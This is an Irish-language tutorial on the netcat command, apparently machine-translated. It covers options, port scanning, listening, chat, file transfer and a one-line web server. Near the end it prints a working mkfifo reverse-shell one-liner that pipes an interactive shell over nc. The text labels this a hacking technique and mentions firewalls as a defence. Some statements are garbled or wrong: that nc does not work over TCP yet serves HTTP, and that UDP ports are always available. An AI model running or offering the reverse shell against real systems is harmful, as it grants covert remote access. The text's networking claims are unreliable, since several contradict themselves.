Tá an t-ordú netcat ag teastáil chun sonraí a tharchur agus a fháil ag baint úsáide as na prótacail TCP agus UDP. Níl sraith mór feidhmeanna aige, ach is leor é chun an nasc agus an dífhabhtú simplí a sheiceáil. Conas cumarsáid a dhéanamh ag baint úsáide as prótacal TCP? Cuireann go leor úsáideoirí an cheist seo. San Airteagal seo freagróimid an cheist seo, agus taispeánfaimid samplaí freisin d'fheidhmiú an ordaithe i bhfíorshaol.
Is uirlis chumhachtach é an t-ordú netcat (nó nc ) chun oibriú le naisc líonra. Is minic a úsáideann riarthóirí córais agus forbróirí é le haghaidh tascanna éagsúla. Seo iad príomhghnéithe agus cumais netcat :
Is uirlis ilúsáideach é netcat ar féidir a úsáid i gcásanna éagsúla, ó theachtaireachtaí simplí go hoibríochtaí líonra casta.
Ar dtús, déanaimis féachaint ar an chomhréir agus ar na cinn is coitianta:
-6 - bain úsáid as prótacal IPv6. Is é an réamhshocrú -4 agus IPv4 faoi seach;-h – cabhair a thaispeáint le liosta de na paraiméadair atá ar fáil;-i - moill – cuir moill idir línte seolta nó scanadh poirt. Socraigh i soicindí;-l – modh éisteachta. A úsáidtear chun an port a chur in iúl;-N - dún an nasc nuair a bhíonn deireadh an chomhaid bainte amach agus é á sheoladh;-n - Oibrigh le seoltaí IP go díreach, gan úsáid a bhaint as DNS, díchumasaigh cuardach calafoirt freisin;-P - user_name - sonraigh an t-ainm úsáideora chun ceangal leis an seachfhreastalaí;-x - seoladh:port - sonraigh an seoladh agus an port chun nascadh leis an seachfhreastalaí;-p - port - sonraigh uimhir an phoirt. I bhformhór na gcásanna, léitear an calafort gan paraiméadar a shonrú;-U – bain úsáid as soicéad fearainn UNIX (do chumarsáid idirphróisis);-u – úsáid prótacal UDP, úsáidtear TCP de réir réamhshocraithe;-v – modh briathartha. Úsáidte nuair a scanadh;-W number_of_packets - dún an nasc tar éis líon áirithe paicéid a fháil;-w uaineadóir – cuir ar chumas an lasc ama teorainn a chur leis an am nasctha. Socraigh i soicindí;-z – sonraí seolta a dhíchumasú. Úsáidte nuair a scanadh.Tá an fhoirm seo a leanas ag an ordú (port seoladh paraiméadair):
$ ncAnsin beidh muid ag caint faoi conas an t-ordú a úsáid.
Is é fíorú an príomhúsáid netcat . Ba cheart duit dhá pharaiméadar a úsáid -vz , sonraigh an seoladh agus an port. Is féidir leat raon seoltaí a shonrú, ach sa chás seo is fearr na calafoirt oscailte amháin a scagadh ag baint úsáide as an ordú grep . Seiceáil muid poirt seoladh an líonra áitiúil:
$ nc -vz 192.168.31.247 8080 $ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded 
Déanaimis calafoirt UDP a scanadh ar an mbealach céanna, ag cur an -u paraiméadar leis:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeededSa chás seo, ní mór duit fios a bheith agat ar an bpríomhdhifríocht idir TCP agus UDP. Mar sin, i gcalafoirt UDP ar fáil i gcónaí.
Úsáidtear an paraiméadar -l chun éisteacht ar phort. Is leor é seo go minic, ach is féidir leat modh briathartha a chumasú:
$ nc -nlv 8080 
Cuimhnigh go gcaithfidh an calafort a bheith saor agus an prótacal TCP á úsáid agat, nó beidh an earráid úsáide Cheana féin le feiceáil. Mar sin féin, ní féidir le gnáthúsáideoirí gach calafort a úsáid, mar shampla, calafort 80 (HTTP), is dóichí go mbeidh sé á áitiú ag próiseas eile, agus beidh cearta sár-úsáideoirí ag teastáil freisin.
Cumas úsáideach na foirne is ea malartú sonraí. Sampla simplí is ea comhrá téacs. Chun comhrá a thosú ar ríomhaire amháin, rith an áirgiúlacht i mód éisteachta poirt:
$ nc -lp 8080Ar ríomhaire eile, beidh ort seoladh an chéad ríomhaire agus an port céanna a shonrú. Chomh maith leis sin ná déan dearmad é sin a sheiceáil port oscailte:
$ nc 0.0.0.0 8080 
Ar an mbealach seo is féidir leat teachtaireachtaí a sheoladh agus a fháil. Is é sin, tá an t-ordú beartaithe chun comhaid a mhalartú. Tá an prionsabal mar an gcéanna, ach amháin go gcaithfidh tú an t-aschur a atreorú chuig comhad, eadhon paste.txt :
$ nc -l 8080 > paste.txt
Ar ríomhaire eile, beidh an t-ionchur an comhad copy.txt . Ba mhaith an smaoineamh é an paraiméadar -N a úsáid chun an nasc a dhúnadh tar éis an comhad a aistriú:
$ nc -N 0.0.0.0 8080 < copy.txtChun comhaid a aistriú, tá sé tábhachtach an t-ord a leanúint, éisteacht a oscailt ar dtús agus gan ach an comhad a sheoladh ansin. Oibríonn an t-ordú nc, ach tá sé i bhfad ón mbealach is fearr chun comhaid a aistriú. Tá uirlisí níos éifeachtaí agus níos úsáidí chun an fhadhb seo a réiteach.
Toisc nach n-oibríonn an t-ordú NC ar an bprótacal TCP, ceadaíonn sé iarratais HTTP a sheoladh agus a fháil. Mar sin, is féidir leis an bhfóntas a bheith ina fhreastalaí gréasáin simplí. Sea, ní féidir aon rud níos cunning ná leathanach stub a dhéanamh ar an mbealach seo, ach ní thógann an oibríocht mórán ama, agus buntáiste eile ná nach gá duit aon rud breise a shuiteáil.
Ag baint úsáide as an sampla, ginfimid freagra HTTP leis an gcomhad index.html . Má labhairt linn faoi np féin, ba mhaith an smaoineamh é lasc ama a shocrú leis an paraiméadar -w 1 chun an nasc a bhriseadh mura ndéanann an brabhsálaí:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done 
Chun sonraí a fháil ó shuíomh Gréasáin, is féidir leat iarratas a fhoirmiú agus é a sheoladh chuig an seoladh comhairleach agus chuig an gcalafort. Ach tá an modh seo casta go leor; is fearr an t-ordú CURL cuí a úsáid.
Bunaithe ar na samplaí a pléadh thuas, ní bheadh sé indéanta teacht ar an tátal go gceadaíonn an t-ordú duit cianrochtain a eagrú ar bhlaosc an ríomhaire. Roimhe seo, bhí roinnt roghanna ag áirgiúlacht an NC chun rochtain ar an teirminéal a oscailt. Tá an paraiméadar -e bainte as an bhfóntas le fada, mar sin ní bheidh rochtain éasca ar an teirminéal a thuilleadh. Tá slándáil an iarratais féin tar éis éirí níos airde, ach is féidir fós oibriú i gcomhar le daoine eile.
Léirímid an nasc ag baint úsáide as an bpíobán mkfifo ainmnithe. Ar an gcéad dul síos, déanaimis tosú ag éisteacht ar an gcalafort ar an ríomhaire a gheobhaidh muid rochtain air:
$ nc -lvnp 8080
Bogfaimid go díreach chuig an ordú chun an teirminéal a oscailt. Ar dtús, scriosfaimid an seanphíopa ainmnithe ( rm /tmp/f ), cruthaigh ceann nua ina áit ( mkfifo /tmp/f ), léigh a bhfuil ann ( cat /tmp/f ), agus seol ordú sliogán chuig a aschur ( sh -i 2>&1 ). Ina dhiaidh seo, níl fágtha ach nc a rith le haschur chuig ár bpíopa ainmnithe ( nc 0.0.0.0 8080 >/tmp/f ):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f 
Tabhair faoi deara go bhfuil sé seo ar cheann de na modhanna hacking, áfach, is féidir é a bheith úsáideach i gcás fadhbanna le ssh . Chun ionsaí a chosc, cumraigh do pholasaí slándála agus balla dóiteáin.